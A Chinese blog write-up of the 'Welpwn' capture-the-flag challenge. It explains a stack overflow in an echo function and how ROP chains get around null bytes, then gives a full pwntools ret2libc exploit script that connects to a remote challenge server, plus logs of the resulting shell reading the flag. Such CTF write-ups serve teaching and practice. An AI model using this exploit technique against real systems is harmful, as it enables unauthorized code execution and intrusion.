攻防世界高手进阶区 ——Welpwn

攻防世界高手进阶区 ——Welpwn

分析文件

checksec分析

coke@ubuntu:~/桌面/CTFworkstation/OADW/welpwn$ checksec welpwn
[*] '/home/coke/桌面/CTFworkstation/OADW/welpwn/welpwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

文件开启了堆栈不可执行,常规了。

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[1024]; // [rsp+0h] [rbp-400h] BYREF

  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);                           // fflush()会强迫将缓冲区内的数据写回参数stream 指定的文件中。
  read(0, buf, 1024uLL);
  echo((__int64)buf);
  return 0;
}

int __fastcall echo(__int64 a1)
{
  char s2[16]; // [rsp+10h] [rbp-10h] BYREF

  for ( i = 0; *(_BYTE *)(i + a1); ++i )
    s2[i] = *(_BYTE *)(i + a1);                 // 存在漏洞,传入数据为1024个字节,但栈区只有16个字节
  s2[i] = 0;
  if ( !strcmp("ROIS", s2) )
  {
    printf("RCTF{Welcome}");
    puts(" is not flag");
  }
  return printf("%s", s2);
}

分析文件main函数没有什么可以利用的漏洞,但是echo函数里面有一个不太常见的漏洞,这个的echo函数的s2数组只有16个字节i,但是传入的参数可以为1024个字节。于是这里存在栈溢出漏洞。

解题思路

这里可以利用栈溢出漏洞来构造ROP链

因为echo函数的赋值循环遇到0就停止,ROP链中的地址一般都有0

0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

就像上面那样,且linux系统是小端序传参。所以我们要是将上面这个gadget传给服务器。

服务器收到的值是这样的:

9c 08 40 00 00 00 00 00 

所以在构造返回地址时我们只能给echo的栈区传一个ret。

但是由于函数之间的栈是连续的

在echo栈的下面就是main函数的栈区

buf= byte ptr -400h
....
push    rbp
mov     rbp, rsp
sub     rsp, 400h
.....
lea     rax, [rbp+buf]
mov     edx, 400h       ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+buf]
mov     rdi, rax
call    echo

而且从下面这段代码可以看出来,read函数在读取数据的时候先放在距离栈底偏移为400h的栈上。所以我们输入的数据从距离栈底距离400h的地方向高地址增长。

(省略号表示中间省略了一些代码)

下面的图片表示了在赋值循环开始前的栈区示意图:

在这里插入图片描述

在我们将构造的数据赋值之后的栈区示意图为:假设我们的payload为 ‘a’*0x18 + p64(pop_4) + p64(ROPchain)

img

可以看到这里在执行完返回地址后只剩下ROPchain了,pop_4就是我们前面看到的gadget

0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

用于弹出4个栈区的值。

常规libcsearcher解题

现在只需要按照常见的泄露函数got地址----寻找libc版本----计算偏移地址----构造getshell ROP链

一个小tips:
  • 因为是六十四位的程序,所以传参方式为寄存器传参,传参顺序为rdi ,rsi ,rdx ,rcx , r8 , r9

都做到这个题来了,剩下的基本上应该还是挺熟悉的了。

我就直接把wp给了吧

wp

from pwn import *
from LibcSearcher import *

r = remote("111.200.241.244",55395)
context(os = 'linux',log_level = "debug")
pop_rdi = 0x4008a3
pop_rsi = 0x4008a1
pop_4 = 0x40089c
main_addr = 0x4007CD
elf = ELF("./welpwn")
puts_plt = elf.plt['puts']
read_got = elf.got['read']
print r.recvuntil("Welcome to RCTF\n")
payload = "a" * 0x18 + p64(pop_4) + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main_addr)
r.sendline(payload)

print r.recvuntil('a' * 0x18)
print r.recv(3)
read_addr = u64(r.recv(6).ljust(8, "\x00"))
print "read:",hex(read_addr)
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system = libc_base + libc.dump("system")
print "system:",hex(system)
bin_sh = libc_base + libc.dump("str_bin_sh")
print "bin_sh:",hex(bin_sh)
payload = "a" * 0x18 +p64(pop_4) + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendline(payload)
r.interactive()

出来的结果是

Multi Results:
 0: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
 1: archive-old-glibc (id libc6-i386_2.19-10ubuntu2.3_amd64)
Please supply more info using 
    add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:0
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
system: 0x7f27860e0390
bin_sh: 0x7f2786227d57
[DEBUG] Sent 0x39 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  9c 08 40 00  00 00 00 00  │aaaa│aaaa│··@·│····│
    00000020  a3 08 40 00  00 00 00 00  57 7d 22 86  27 7f 00 00  │··@·│····│W}"·│'···│
    00000030  90 03 0e 86  27 7f 00 00  0a                        │····│'···│·│
    00000039
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x42 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
    'libc32-2.19.so\n'
    'libc64-2.19.so\n'
    'welpwn\n'
bin
dev
flag
lib
lib32
lib64
libc32-2.19.so
libc64-2.19.so
welpwn
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{c873ec075c0b3148a7d435f292149bb1}\n'
cyberpeace{c873ec075c0b3148a7d435f292149bb1}

这里有两种libc,一个一个试就行了。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值